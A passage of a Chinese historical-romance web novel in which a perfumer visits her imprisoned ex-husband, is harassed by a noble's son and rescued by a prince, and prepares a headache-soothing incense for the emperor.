用完了粥,苏云瑶神色逐渐恢复如常,看着眼前囚在监房数日,脸颊清瘦了不少的人,她轻声道:“你呢?朝廷到底怎么处罚你?”
担心她的眩晕之症没有彻底好转,裴秉安一双黑沉的眸子紧紧盯着她,淡淡地说:“念我过去有功,皇上开恩,免去流放,仅贬官削爵,罚了杖刑。”
这样的处罚,尚在意料之中,只是削去伯爵之位,武官之首的官职不保,裴家荣耀不再,怕是一向以高门贵地自诩的老太太、罗夫人难以接受,宝绍的学业、淑娴的亲事,也会大受影响。
不过,只要人安然无恙,没有性命之忧,这些,都算不得什么。
苏云瑶默然点了点头:“那何时能够出狱?”
“过段日子,待军粮一案查清楚了”
话未说完,裴秉安忽然拧眉别过脸去,以拳抵唇重重咳了几声。
蓦然看到他雪白中衣上隐隐渗出的新鲜血迹,苏云瑶惊愕地瞪大眼睛,脸上的血色几乎瞬间褪尽。
她原以为他受了杖刑,如他所说那般当真安然无事,没想到他那不过是安慰人的话。
沉默良久,她轻轻咬住唇,移开落在他身上的视线。
怪不得他不肯与家人、部下相见,原来是怕他们担心。
可他一个人关在监房中,身受重伤,怎么上药?
想到他方才一勺勺送到她嘴边的粥,苏云瑶纠结了几瞬,忍不住道:“你把衣裳脱下,我给你涂药吧。”
不知为何,身上的伤势竟然没有瞒过她的眼睛,裴秉安不由一愣,下意识拢紧了衣襟。
“不必了,我没事,时间快到了,你走吧。”他脊背挺直,沉声拒绝。
“我受淑娴所托来看你,你身体无恙,她才能真正放心,”苏云瑶正色道,“给你上药,是为了让你尽快好起来,请你配合一下。”
踌躇数息,裴秉安依她所言。
脱下中衣,冷白肤色的脊背上,全是纵横交错的青紫杖痕,苏云瑶只瞄了一眼,便不由倒吸了一口冷气,几乎不忍心再看下去。
行杖刑的人,下手也太狠了。
“唔,不过是寻常刑罚,我没有大碍,过段日子就好了,”意识到身后的人似乎被吓呆了,裴秉安沉默一息,“算了,要不”
苏云瑶死死咬住唇,没有作声。
说起来,他的体魄是已算强悍,当初那位常家少爷因醉酒纵马,踩伤孩童,受了一百军棍,得养大半年才能下榻。
但看到他触目惊心的伤势,想起他前些日子左胸的旧伤还没痊愈,她心里还是有些难受。
将治疗跌倒损伤的金疮药,小心地倒在他渗血的伤口上,她低声叮嘱道:“你每日记得上药,不要不当回事,监房不通风,不透光,若是不照料好伤口,以后会留下遗症的。”
区区小伤而已,算不得什么,但听到她有些发颤的是嗓音,裴秉安沉声应下:“多谢,我会的。”
上完药,没再多说什么,默默看了他几眼,苏云瑶秀眉紧蹙,心事重重地离开了监房。
第69章 第69章只有亲眼见到她,他才能……
离开狱所,辘辘而行的乌蓬马车中,听到苏云瑶说起大哥在狱中安好,裴淑娴紧绷了数日的心弦,总算轻松了几分。
“苏姐姐,那大哥有没有说过,他到底何时能够出狱?”
苏云瑶沉吟了片刻。
她只听他含糊提到了什么查清军粮案才会出狱,想必不会那么快。
“具体多久我也不知道,你记得时常打发人送些吃食伤药进去,他在那里”
话未说完,正好行到一处石桥中间,马车忽然停了下来。
车夫在外面道:“主子,对面来了一队车马,恐怕过不去。”
苏云瑶掀开车帘往外看去。
石桥路窄,勉强能容下两辆普通规格的马车并行通过。
而对面缓缓行来的马车奢华宽阔,几乎占据了大半个路面,狭路相逢,对方本是迟来,却根本没有半分退让的意思。
乘坐这种马车的车主,身份非富即贵,本着多一事不如少一事的原则,苏云瑶吩咐道:“退后,等他们过去了,我们再走。”
车夫依言下车,牵马退回到了桥头处等待。
奢华马车慢慢驶来,车中,常天鸣搂着个年轻貌美的小妾,嘴里吃着小妾喂过来的红葡萄,一只手还不安分地揉捏着她的腰。
“好好伺候老子,老子疼你。”他嬉笑着道。
“哎呀,你讨厌~~~”
小妾的声音柔媚,听得他骨头都酥了几分。
只是与那辆立在桥头、低调等待的
乌蓬马车错过的瞬间,他下意识瞥了一眼车外。
微风忽然扬起柔软的车帘,午后明亮的日光下,女子如雕刻般的绝美侧颜隐匿在光影中,格外深邃而精致。
直勾勾地盯了一眼,他便立即瞧出了对方是谁。
“停车!”
他不耐烦得一把推开怀里的小妾,理了理凌乱的衣袍,随手拎起马鞭,迫不及待地拉开车门下了车。
“苏云瑶,老子知道你在车里,别躲了,给老子下车!”
时隔半年多,听到对方熟悉的凶狠沙哑的声音,苏云瑶不由蹙起眉头,掀开一角车帘向外看去。
一帘之隔,常天鸣双手抱臂站在车畔,灼热凶狠的视线紧盯着她,唇角浅勾起一抹得意的笑。
“呵,躲了这么久,可算让老子遇到你了!”
苏云瑶冷冷看着他,上下打量了他几眼。
半年多前挨了一百军棍,许久没再见他,看来他近期刚刚能够下榻活动,便又开始耀武扬威,仗势欺人了。
“常少爷养好伤了?我记得军棍应该打在屁股上,不是脑袋,莫不是常少爷脑子记不清楚了,我何时躲过你?”苏云瑶冷笑道。
当初的那军棍刑罚,至今想起来还让人心有余悸,常天鸣下意识摸了摸偶尔还隐隐作痛的腰背,脸色阴晴不定地变幻了许久。
为防苏云瑶吩咐车夫离开,他突然大步向前,一只手撑在车窗处,拿马鞭狠狠敲了下车壁,狠声道:“老子受伤,还不是因为你?”
苏云瑶抿唇瞪着他,冷冷一笑:“常少爷,人贵在自省,是你犯错在先,理应受罚。”
与他这种土匪似的纨绔好色之徒打交道,气势弱了对方便会得寸进尺、以强欺弱,冷呛了他几句,她不打算再理会他。
“我本来与你无冤无仇,是你一再纠缠,这是京都,不是青州,光天化日之下,就算你是皇亲国戚,也要依法行事!”
常天鸣转了转手里的马鞭,想到那裴大将军被关进了监房,不由咬牙冷笑起来。
“还敢在老子面前硬气呢?现在你那前夫自身难保,没人护着你了!识相的话,乖乖低头服软给老子认个错,温柔小意好好对老子,老子非但不与你一般计较,以后,你想要什么,老子就给你什么”
虽是平时一向遇事冷静,但听到他满嘴的污言秽语,苏云瑶还是忍不住暗骂了几句,白皙如玉的脸庞气得通红。
“你再言语侮慢,我就去报官了!”
常天鸣不屑得冷笑几声,抬起马鞭遥遥朝府衙的方向指了指,“苏大小姐,还做梦呢?没人给你撑腰,你尽管去报官,就算你跑断了腿,也伤不了老子半分毫毛!”
一旁,目睹苏云瑶受到别人如此欺辱,裴淑娴捏着团扇,怒声斥道:“呸!你是个什么东西?等我大哥出来了,定然饶不了你!”
闻言,常天鸣才恍然发现她似的,肆无忌惮的眼神在她身上游移着,脸上露出不怀好意的笑。
“裴大将军是你大哥?正好,他打了我一百棍,跟老子结下的仇还没解呢,我看你生得也不错,干脆与苏大小姐一起服侍本”
话音未落,啪的一声重重响起,他脸上早已挨了一巴掌。
苏云瑶甩了甩发疼的手掌,压下怒极的情绪,拿出随身携带的袖箭,箭尖对准了他。
“滚,再在我面前放肆,休怪我不客气了!”
这一巴掌几乎用尽了全力,脸上热辣辣的,常天鸣龇牙咧嘴捂着半边脸,嗅着她指尖留下的半缕香风,不怒反笑。
“行啊,打了老子,老子可不能轻易放过你了来人!”
他大喝一声,马车后的一堆侍卫提刀上前,团团围住了乌蓬马车。
“把人给我从马车里拖下来,带回常府!”
手中握紧袖箭,苏云瑶神色依然冷静,只是眉头拧了起来。
常天鸣竟然如此狂妄,那些侍卫听他的吩咐抽刀逼近,袖箭恐怕难以抵挡。
她定了定神,轻声道:“淑娴,我先下车,你在车里呆着,不管发生什么事,先不要惊慌,我会见机行事”
只是,她话音未落,裴淑娴便转身掀开车帘,跳下了马车。
心中纵然害怕,但更怕苏云瑶受到折辱,她用力捏紧团扇,壮着胆子道:“你们想清楚了,我大哥只是进了监房,不久还会出来,你们若是胆敢动苏姐姐一下,他定然要你们以命相抵!”
身为大将军,裴秉安的名号无人不知无人不晓,听到这话,几个侍卫面面相觑,迟疑了起来。
“废物!几句话就吓到你们了!给老子上!”
咬牙骂了一句,常天鸣手腕一抖,带着尖刺的玄铁马鞭倏然划破空气,径直向裴淑娴的脸上挥去。
“啊——”
她下意识捂住了脸,只是想象中的剧痛没有如期落下,耳旁却响起了拳脚相接的声音。
不知何时,苏千山疾步奔了过来。
少年劲挺有力的大手握住那根布满尖刺的马鞭,黝黑脸庞青筋暴起,双掌握拳倏然挥出时,带着呼啸有力的拳风,与几位带着长刀的侍卫近身搏斗,依然不落下风。
堂弟及时出现,淑娴没有受伤,苏云瑶不禁轻舒了口气。
可一想到常天鸣这次铁了心要纠缠她,堂弟双拳未必抵得过四手,她的心又悬了起来。
正在情形混乱中,有人策马朝这边行来。
高坐在马背上,视线快速扫过斗殴的人群,落在在马车旁的纤细身影上时,一眼便认出了那女子是谁。
萧祐猛地夹紧马腹,拍马疾驰到近前。
还未下马,冷冷看了一眼常天鸣,他高声斥道:“住手!”
常天鸣微微一愣,循声看去,只见景王殿下翻身下马,快步向这边走了过来。
他不由咧嘴暗骂一声,忙转头吩咐道:“别打了,都给老子住手!”
“殿下,您路过这里?”眼看景王走到近前,常天鸣嬉笑着,拱手迎了上去。
穿过人群,萧祐对他的问候视而不见,而是径直走到了苏云瑶的面前。
“苏娘子,你没事吧?”他英挺的长眉拧起,眸底尽是紧张与关心。
景王殿下来得及时,饶是常天鸣再胆大包天,也不敢当着他的面肆意妄为。
苏云瑶感激地笑了笑,道:“还好,多谢殿下。”
她安然无事,萧祐拧起的眉头舒展开来。
问清原委,是常天鸣言语侮辱在先,之后混战之时,双方势均力敌,谁也没占了便宜,萧祐拧眉看着常氏及他所带的东宫侍卫,冷声斥责:“你今天仗势欺人,目无律法,有你这样的亲戚,真是丢皇兄的脸,本王定会秉明皇兄,按规重重惩罚你们!”
常天鸣暗自撇了撇嘴,脸上却带着十二分悔意似的,一个劲地低头道歉:“殿下,我今天吃了几杯酒,脑子犯了糊涂,以后绝对不会这样了,还请殿下高抬贵手,饶过我这一回,不要告诉太子殿下。”
萧祐不置可否,转眸看向苏云瑶,“苏娘子,本王打算把他们交给皇兄惩治,你意下如何?”
垂眸思忖片刻,苏云瑶点了点头,道:“民女悉听殿下安排。”
谢过景王,回到苏宅,夜半时分,苏云瑶对灯独坐,默默思忖了许久,依然没有任何睡意。
忆起白日遇到常天鸣,想到他所说的话,她实在难以安心。
常氏现在今非昔比,他背后靠得是东宫太子,所以才有恃无恐,肆无忌惮。
清楚他狂妄好色的秉性,她觉得,这次他没有得逞,以后他未必会轻易善罢甘休。
她开香铺,做生意,明枪易躲暗箭难防,若是下次,他脑子变得聪明些,想法子搅乱她的生意,逼得她走投无路只能求他,那她就陷入了被动棘手的局面。
现在,她需要找一棵大树依靠,一来可以保全她的生意,二来,可以保护她不受常氏之类不怀好意的宵小之辈骚扰。
思来想去,记起景王殿下请她为皇帝做的熏香,斟酌一晚,天色微亮时分,她沉沉叹了口气,终于下定决心,动手做起了最熟悉不过的紫薇伴梦香。
~~~
狱所,监房。
一灯如豆,暗沉夜色如化不开的浓墨。
身姿笔挺地坐在书案前,案上的书卷迟迟没有翻过一页,裴秉安剑眉紧锁,频频向监房外望去。
本以为自己这辈子只能孑然一身,余生再无所盼,这处监房,是他心灰意冷时,隔绝外界烦扰,默然自省之处。
可一想到苏氏来探望他时,没有携带徐大夫亲手给她做的八珍蜜枣丸,他便忽然觉得这方狭小逼仄的空间,实在不该久留。
寂然无声中,他霍然起身,负手来回地踱起了步子。
没过多久,监房吱呀一声,雷震虎蒲扇大的手掌拎着酒坛,大步走了进来。
“大哥,我带了酒,咱们一醉方休”
裴秉安锐利的视线盯着他,”
让你打听的事如何了?”
雷震虎一拍脑袋,恍然想起了此行最要紧的事。
“大哥,你看我这个笨脑子,差点忘了,都给你打听清楚了,皇上给徐大夫与郡主赐了婚,年底就要成婚了。”他粗声道。
愕然片刻,裴秉安平直的唇角悄然勾起一丝不易察觉的弧度。
“就这些?”他沉声开口,“徐大夫他同意了?”
雷震虎肯定地点了点头,圣旨已下,他不同意也得同意,抗旨不遵,那是掉脑袋的事儿。
不过,听说徐大夫病了些日子,病情好了之后,便去了地方州县行医,暂时离开了京都。
“大哥,还有一事,”雷震虎抬起大手挠了挠头,回想了一番暗中守护苏娘子的兵卫汇报的话,道,“那天大嫂与小妹回去的路上,遇到了那姓常的,双方大打出手,是景王殿下解了围。”
常天鸣?
闻言,裴秉安脸色沉冷如冰,剑眉几乎拧成了一团。
他尚未出狱,知晓他被贬官削爵,常氏胆大包天,竟敢纠缠她们!
此时此刻,他甚至有些后悔,不该轻易答应皇上三个月后再离开这里。
回完话,雷震虎提着一口没动的酒坛离开时,裴秉安冷声道:“继续派人暗中守护苏氏,莫要掉以轻心,若她有任何闪失,提头来见我!”
听到这话,雷震虎情绪复杂地咧了咧嘴角。
大哥一向是部将的楷模,行走的铁律,一心扑在军务上,从不会为什么儿女情长所困。
可这回——
那早知如此,何必当初?当初他执意与大嫂和离时,他们还苦劝来着
暗暗腹诽几句,雷震虎神色凝重地摸了摸自己的项上人头:“大哥放心,这事包在我身上!”
吩咐过部下,裴秉安依然眉头紧拧。
想到苏氏被那可恶的常氏纠缠,他实在担心她会心生害怕,夜间难眠。
只有亲眼看到她,他才能放心。
夜色已深,整个监房安静得落针可闻,他换上墨色长袍,如入无人之境般,脚步沉稳地了离开狱所。
第70章 第70章除了他,不会再是旁人。……
深夜,苏宅寂然无声。
一弯玄月隐藏在暗云之后,晦暗夜色下,惟有正房的窗畔,露出些微亮光。
这个时辰,房里的人还没有入睡,纤细的身影映在窗户上,似在低头认真地调制着熏香。
角落处,墨色长袍几乎与暗夜融为一体,裴秉安屏气凝神,负手立在一丈之外,一动不动地凝视着那道日思夜想的身影。
良久,窗里的人起身伸了个懒腰,之后突然似有所感,缓步走到窗畔,抬手推开了窗户。
窗户推开的刹那,裴秉安倏然隐匿于暗影中。
房中,苏云瑶蹙起秀眉,展眸看向外面的院子。
夜色漆黑,角落处阴影笼罩,看不太真切,但莫名其妙的,她似乎嗅到了一丝熟悉的气息。
清冷如雪后青松,似有若无地萦绕在鼻尖,夫妻三年,这种独特的气味她再熟悉不过,除了裴秉安,不会再是旁人。
可很快,她揉了揉隐隐发闷的额角,毫不犹豫地转身关上了窗户。
一定是她调制紫薇伴梦香太久,累得有些恍神。
宅中有青桔守夜,有什么动静轻易逃不过她的耳朵,且不说这个,裴秉安尚在狱中,怎么会深更半夜到苏宅来?
心绪不安,也许心底无端记着他那满身纵横交错的杖痕,所以才会胡思乱想。
默然轻吸一口气,压下有些烦躁的情绪,她吹熄灯烛,上榻歇息。
窗外,听到房里传来窸窣的动静,不久后又归于平静时,裴秉安无声走近窗旁,视线沉沉落在窗台的袖箭上。
垂眸端详了几瞬,他波澜不惊的眸底,突地闪过一丝冷笑。
那是徐大夫曾为她做的袖箭,表面精巧无双,实则徒有其表,机关处晦涩难用,恐怕连箭簇都难以发出。
他曾亲手为她做过一只袖箭,只是那徐大夫先他一步,那只袖箭,至今还留在他身边。
沉思几息,自袖口摸出青竹袖箭,替换了那只中看不中用的袖箭,裴秉安悄然勾起唇角。
无声离开苏宅后,校尉胡同响起一阵极轻极快的马蹄声,他扬鞭催马疾驰过街道,于暗沉夜色中,径直向常府奔去。
~~~
翌日一早,清晨起来对镜梳发时,外面忽然传来青桔大呼小叫的声音。
转眼间,她手中举着一把袖箭,兴冲冲地跑了进来。
“小姐,这袖箭没坏,又好了!”
说着,她按下箭筒处的机关,对准院里的一丛绿竹发了一箭。
只听砰的一声,看似细小的箭簇竟蕴含着惊人的能量,手臂粗的竹子竟像刀劈斧砍一半,齐刷刷断了半截。
苏云瑶也觉得惊奇不已。
那日路遇常天鸣,这袖箭虽没派上用场,但她掂了掂分量,便知其不会有这么大的威力。
翻来覆去地看了几眼,总觉得这袖箭虽看似与之前的一样,却好像又有些不同之处,就在她疑惑不解时,突然传来了几下拍门声。
大清早,裴淑娴便来了苏宅,丫鬟春燕跟在她身后,还大包小包提了不少东西。
一进门,裴淑娴便朝西跨院的方向打量了几眼,不过没见苏千山的影子,她便收回了视线。
“苏姐姐,千山哥哥的伤势怎么样了?”她担心地问道。
夺下常天鸣手中的带刺玄铁马鞭时,苏千山的右手划破了皮肉。
其中一道割伤几乎深可见骨,很快该要参加武举了,他的右手却无法握笔拉弓。
想到这件事,裴淑娴便内疚不已,若非当时她一时冲动下车,他也不至于因为救她而受伤。
她带的这些补品、伤药还有书本,就是为了送给苏千山,希望他能尽快养好手上的伤,不要耽误了举试。
看她担忧愧疚的模样,苏云瑶温声安慰了她几句不要自责,始作俑者是常天鸣,此事怎能怪她?
“他在院里养伤,大夫看过了,近日他的手不能握弓,只能静心读书,青桔刚去送过早饭,说他在用功研读兵书呢。”
裴淑娴点了点头,道:“我从三哥那里拿来了不少书,想是会对举试有用,我给他送过去吧。”
听她提起裴宝绍,苏云瑶下意识道:“宝绍可在准备科考?”
说起这个,裴淑娴不由气呼呼捏紧了团扇。
因大哥贬官削爵,三哥也被国子监退了学,如今他一天到晚不在府中,更别提他会准备秋季的文举了。
祖母早气病了,母亲身体不好,还对三哥一向溺爱,数落了他几回,便不舍得再责骂他一句了。
“他才不会有心思读书,现在大哥不在家,无人管束得了他,也不知他跟那些狐朋狗友去了哪里。”
说完,懒得再提他,裴淑娴便带着春燕去了西跨院。
裴宝绍的事,随口问了一句,苏云瑶并没放在心上。
裴家的当家人进了监房,府里乱成一团并不出人意料,等裴秉安出了狱娶了妻,府里有了操持琐事的贤妻,即便裴家荣光不再,一切还是会慢慢回归正常有序的。
用完早饭,她便打算带着紫薇伴梦香去凝香坊。
之前景王殿下打发人问过她香饼做得如何了,她与他约好了今日到香铺取香。
只是刚到出了宅子,便听到两个身着金吾卫兵服的士兵站在胡同角落里窃窃私语。
“你听说了吗?常大人府上昨晚闹鬼了,听他们府里的人说那鬼是个来无影去无踪的黑影,常大人还在睡梦中,便被那鬼捉住腿敲断了骨头,啧啧”
“这事听着稀罕啊,真有鬼假有鬼?该不是被人打了吧?”
“那谁知道?要说是人为的话,我觉得不太可能,谁能深更半夜潜入房中打人,还能不被发现?”
“嗨,管他是人揍的,还是鬼捉的,都是活该,仗势欺人的东西”
话未说完,看到前夫人苏氏出了院子,两人立时闭嘴噤声,作出寻常巡逻的样子,装模作样地左右看了一番,便身姿
笔挺地退到了胡同外。
登上马车,去香铺见景王殿下的路上,苏云瑶一直在默默思忖士兵的话。
常天鸣又被打断了腿?这实在让她意外。
虽说恶有恶报,但她绝对不相信是什么神鬼为之,这定然是有人故意为之。
莫非是他的仇家太多,被人报复了?
可那会是谁呢?
想了一番,虽琢磨不出什么结果,但不管敲断他腿的到底是谁,知道这个消息,她便心情大好地勾起了唇角。
至少在那好色纨绔养腿的这段日子,她不用再担心什么。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
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第71章 第71章他情不自禁地多看了她几……
紫薇伴梦香,顾名思义,其若有似无的清淡香甜气味,如清晨初绽的紫薇花相似。
它所用的原料繁多而贵重,首先需得准备初春摘下的头茬紫薇花,阴干后研磨成粉,再辅以南洋产的沉香、檀香,东海的青皮鳄梨,极寒之时雪山顶的雪莲,最后,还有加入几味可以治疗头疾的药草——这种熏香,古方上没有记载,市面上也从未见售,可谓罕见至极,可对于苏云瑶来说,却是再常见不过的一味香饼。
因为娘亲在世时,最爱用的,就是紫薇伴梦香,这种清淡悠长的紫薇香,时常甜蜜地笼罩在她身侧。
过了许久,思绪悄然回笼,苏云瑶无声轻叹了口气,纤细的手指爱惜地摩挲几了香盒。
“殿下,这就是您需要的那味香,民女试着做了些,您看看,是否符合您的要求?”
熏香尚没有点燃,仅从香盒里散发出来的清淡香气,已让萧祐吃惊地扬起了长眉。
这种香味,与早些年父皇喜爱的香料几乎如出一辙。
近些年,他负责宫中尚香局的香料,闲暇时几乎暗地访遍了京都的大小香铺,她是第一个能够调制出这味熏香的人。
“苏娘子当真厉害,本王从未见过像你这般蕙质兰心、秀外慧中的女子,你是如何学会做这香饼的?”
苏云瑶抿唇笑了笑,姣好的眉眼低垂,叫人瞧不清眸底的情绪。
“殿下过奖了,民女不过是碰巧见过类似的方子,瞎琢磨出来的罢了,若是能得殿下喜欢,民女也放心了。”
说着,她微笑抬起手来,想将香盒推到他面前,只是纤细白嫩的指尖刚刚搭在盒沿处,一只骨节分明的修长大手倏然伸了过来。
手指无意间相触,温热的掌心几乎全然覆住了纤细葱白的五指,苏云瑶微微一愣,还没反应过来,萧祐已闪电般收回手去,不好意思地背着手站了起来。
“抱歉,本王刚才没看清,唐突了”
方才的情形有些尴尬,但景王并非有意,苏云瑶也不好计较,只是悄然握紧了手中的绣帕,垂眸淡然一笑,佯装那一幕没有发生过。
“没事,殿下不必在意。”
萧祐不自在地咳了几声。
他目不斜视地看着虚空中并不存在的某个点,余光却悄然瞥向旁边的人——眉如远黛,肌肤若雪,樱唇不点而红,恍然山野中最娇艳清丽的玫瑰,让人难以挪开眼去。
女子的手指纤细柔软,短暂的触感还残留在掌心,下意识握紧了长指,耳根却莫名有些发烫。
蓦然回过神,萧祐匆忙袖了香盒,道:“既然香已做好,那本王就走了。”
话音刚落,他便大步向外走去,只是刚走了几步,身后的人便叫住了他。
“殿下等等,民女还有话要说。”
萧祐负手转身,深邃凤眸悄然看向别处,没有直盯着她。
“苏娘子还有什么事?”
苏云瑶默然思忖了会儿,景王曾说过,这香饼是他为皇上所求,为了以后少惹是非,她需要他答应她一个条件。
“不论是谁问起香饼是谁所做,还请殿下为民女保密,不要说出凝香坊来。”
萧祐垂眸看向她,眸底难掩诧异,“为何?如果你调制的这位香得父皇喜欢,本王定要厚赏酬谢你的。”
苏云瑶微微一笑,道:“民女惶恐,只想低调做香,不想出头。况且,不说出是民女所做,只要得皇上喜欢,殿下也可以照样赏赐民女啊。”
深感意外得同时,萧祐并无异议地点了点头。
她是做香的人,他自然尊重她的想法。
只是,她容貌出众自不必说,行事也自有章法,与其他女子大为不同,这让他情不自禁地,又暗暗多看了她几眼。
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傍晚时分,养心殿中,审过军粮一案的案情后,抬眸看向太子萧昀,元德帝龙目含威,面沉似水。
军粮案牵涉几位臣子,尤其以林家为甚,林家曾私下贿赂慎之的庶弟与弟媳,那些金银之物,皆出自近几年私吞国库的军费,送于裴家,目的是共同分赃,将他拖下水去。
这些前因后果,稍一清查便知。
再者,君臣数年,慎之秉直清廉的脾性作风他十分清楚,断然不会做贪污受贿的事。
这也是吩咐太子督办军粮案时,他按律将裴秉安贬官削爵后关于监房,便是想看清,没有慎之震慑军中,也不提及他已密呈的证据,太子会如何处理军粮案。
是为了大雍朝的以后,雷霆震怒,铁面无私,以儆效尤,将这些罔顾国法百姓,只一味中饱私囊的蛀虫绳之以法,还是反过来,顾及与林家的君臣亲戚情分,轻拿轻放,处理些无关紧要的官员了事。
萧昀一身白色锦袍立于龙案旁,姿态谦恭,温声道:“父皇,儿臣已查清军粮案所涉官员,现已有人证物证,林相的远房侄子林端任转运使,趁职务之便私吞军粮。念及他数年来恪尽职守,不曾懈怠,只是此次犯了糊涂,还表明会如数补交十万两白银,儿臣建议,将他降职罚俸,以做惩罚。”
元德帝视线沉沉地看着气质温润的太子,眉头紧锁。
身为太子,萧昀自小性情宽仁良善,行事温和,缺了些刚毅果决的手段。
近年龙体欠安,他未免忧心,太子登基以后,如何挑治世重担,鼎新革故,兴邦治国。
有心磨砺太子,元德帝严厉的视线落在他的身上,面容冷峻如冰。
砰的一声,龙案上的册子突然重重坠地,余音在殿内回荡不绝。
帝王明显动怒,听得一旁的近侍心惊肉跳,大气都不敢喘一下。
“只有林端一人涉案?简直可笑!朕吩咐你督办此案,你便交给朕这样一个结果?再去查,刨根究底,势必重惩!”
萧昀垂下头去,犀利视线扫过龙案后的明黄色袍摆,暗自转了转掌心的冷玉扳指。
“父皇息怒,儿臣不才,定会严惩不贷,给父皇一个满意的结果。”他微微欠身,苍白的额角渗出了层薄汗,似惶恐地抿紧了唇。
元德帝沉吟不语。
身为严父,他对待太子总是格外严厉,但看到太子这副模样,又担心逼紧了他,再因着急生出病来。
“去吧。”他没再多言。
萧昀道:“是,儿臣告退。”
退出养心殿前,悄然瞥了一眼龙案旁的香炉,未见有熏香点燃,萧昀微不可察地勾了勾唇,负手转身离开。
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得了紫薇伴梦香,景王很快送去了养心殿的御书房。
彼时,御书房的内侍都退了出去,只有元德帝在与一个身着黑袍的男子低声交谈。
男子高大伟岸,身形笔直肃挺,头戴斗笠,脸庞遮着黑色面巾,将周身遮掩得严严实实,叫人看不出一点端倪。
景王疑惑的视线在那男子身上停留了一瞬,便
不感兴趣地收了回来。
父皇大约是召人商议要事,反正不是他要关心的事,他无意多问。
“父皇。”
他长眉扬起,朗声而笑的同时,神秘兮兮地挥了挥手里的香盒。
景王管着尚香局,这次不知又从哪里寻来的熏香,每隔一段日子他便会到御书房来送香,元德帝早已习惯。
唇畔含笑,淡淡看了他一眼,元德帝无声颔首,示意他自便,不要打搅他谈事。
景王错身而过的瞬间,裴秉安抬手压了压斗笠。
暮色四合时,他在狱所求见元德帝,为了掩人耳目,出监房时,特意换了一身黑色劲装,遮盖了面容。
此时景王殿下贸然造访,他不便久呆,于是以极低的气音传话:“皇上,臣先回去吧。”
元德帝抬手按了按太阳穴,多年来,每到入夜时,时轻时重的头痛便会发作,他早已习以为常。
只是,听到耳畔传来的话,一双喜怒不辨的龙目抬起,默不作声地盯了近旁的人片刻。
裴秉安沉默几息,低声道:“臣不能在监房久留。”
“为何?”
元德帝淡声开口,眸含疑惑。
慎之一向言而有信,太子的军粮案尚未查清,按照先前约定,他该呆在狱所中,等军粮案尘埃落定,他再出离开监房。
裴秉安罕见地踌躇了下。
其中原因,他不便细说,即便打断了那常氏的腿,云瑶无人照护,他依然放心不下。
看他迟迟未开口,似有难言之隐,元德帝眉头半锁,眸光深沉地看了他几眼。
他一身功夫,想要离开监房,不会是难事。
“若是有事,自行出狱去办,朕会睁一只眼闭一只眼。但有一件事,不能提前出狱,不许坏了朕的大计,否则朕拿你是问。”元德帝低声道。
与此同时,没有理会两人窃窃私语似的交谈,景王将香饼放置在香炉上,点燃了火折子。
不一会儿,细雾似的轻香袅袅升起,清淡香甜的香气逐渐在整个御书房弥漫开来。
紫薇香沁入肺腑时,咚的一下沉闷声响,手中的奏折忽然坠落在地,元德帝偏首失神地盯着香炉,霍然拂袖站了起来。
“你从何处找来的这味香?”
问话的同时,他已大步朝香炉走了过去,只是一向沉稳矫健的龙步罕见地踉跄了几下,差点慌乱地撞翻了西金进贡的四足蟠龙永固杯。
“回父皇,是儿臣偶然间得到一味古方,命尚香局的宫人调制的。”想到苏娘子不愿透露姓名,萧祐便含糊了过去。
元德帝含威龙目定定地看着香炉,许久没有言语。
“是尚香局的宫人做的。”他喃喃低语着重复了一遍,暗自闭上眼睛,意味不明地笑了笑,似乎在自嘲。
耳畔忽然传来景王清朗的声音,“父皇喜欢吗?”
元德帝回过神来,默然深吸一口气,沉声道:“朕很喜欢。”
“既然父皇喜欢,儿臣便厚赏宫人,以后命宫人多做些奉给父皇。”萧祐扬眉笑道。
元德帝闭眸颔首,没有多言,只是挥了挥手让他出去。
“朕知道了,你回去吧。”
站在角落处,锐利的视线紧盯着景王清隽挺拔的身形离开,裴秉安薄唇抿直,剑眉几乎锁成了一团。
这味香,不知为何皇上异常喜欢,但他十分确定,景王所寻的香,一定不是尚香局所制。
他目力敏锐,早在景王掏出香盒时,便注意到,盒底一角印着朵小小的绛色紫薇花。
那是凝香坊独有的暗记。
这香,必定出自云瑶之手。
什么时候,景王与她这般熟识了?
第72章 第72章将人轻而易举地抗在了肩……
虽自小与太子一同长大,景王与太子的脾性却截然不同。
太子勤勉恭谨,温和仁善,文武双全,不仅精通经史子集,剖析事理入木三分,于武学之道,亦造诣非凡,挽弓射箭,拳法剑术,都有所涉猎。
而景王自懂事以来,一向性情散漫,我行我素,不喜四书五经,舞文弄墨,也鲜少提箭上马,文武表现平平,独识香辨香这方面,旁人多有不及。
一来二去,看清了景王的性子,此子无法委以重任,只适合做个摆弄香料的闲散王爷,元德帝便由他去了。
正因对香料知之甚多,景王早就辨出,奉给父皇的紫薇伴梦香,除了几样贵重的原料,还加了几味药草,香料与药草做成的香饼,不仅香味清幽独特,更重要得是,还可以舒缓父皇入夜之后头痛的旧疾。
既然香饼甚合父皇心意,他便很快又去了凝香坊,打算厚赏帮了他大忙的人。
看到发着灿灿金光的金元宝,整整齐齐摆了一宝匣,数了数足有上百两之多,暗暗感叹景王殿下大方的同时,苏云瑶下意识转了转手腕上的绿玉镯。
这金子太多了,她不能要。
一来,一盒紫薇伴梦香成本虽高,却远远没到这个地步,二来,她要帮景王的忙,目的不是为了他的金银,她的香铺日进斗金,早就赚得盆满钵满,于她来说,为了长远计,她需要景王这棵大树为她的香铺遮风挡雨。
苏云瑶垂眸笑着,抬手将宝匣的盖子合上,轻声道:“殿下厚赏,民女受宠若惊,只是这些太多了。”
雅室内靠窗的黄花梨几案上,放着一只细颈玉白瓷瓶,几枝新开的桃花错落有致地置于瓷瓶中,散发着清淡自然的香气。
听着身旁的温声细语,萧祐目不斜视地盯着绯红的桃花,掌心却莫名微微有些发烫,似乎仍然残留着无意碰到女子手背时的细腻触感。
人比花美,一瞬间,他脑子里闪过这个莫名其妙的念头。
“殿下?”
一声轻柔的呼唤,扯回了飘飞到天际的思绪,萧祐下意识清了清嗓子,转眸看向对面,深邃凤眸中清晰地倒映出女子娇美的脸庞。
“何事?”他温声道。
苏云瑶:“”
她说了半天,敢情他一个字儿都没听进去。
她重复了一遍后,索性将颇有些分量的宝匣推到他面前:“民女不要殿下的厚赏,还请殿下带回去吧。不过民女有一事相求,听闻殿下也擅长制香,民女虽熟识各种香料,也还有许多不通之处,还请殿下闲暇时,偶尔到本铺指点一二,那样,民女就感激不尽了。”
一来二去,与景王熟悉几分,加之帮他的情分,届时再开口请他庇护香铺,不过是水到渠成的事。
话音落下,苏云瑶微笑抿了口茶,心想着,景王殿下也许会有所顾虑,她该怎么说服对方
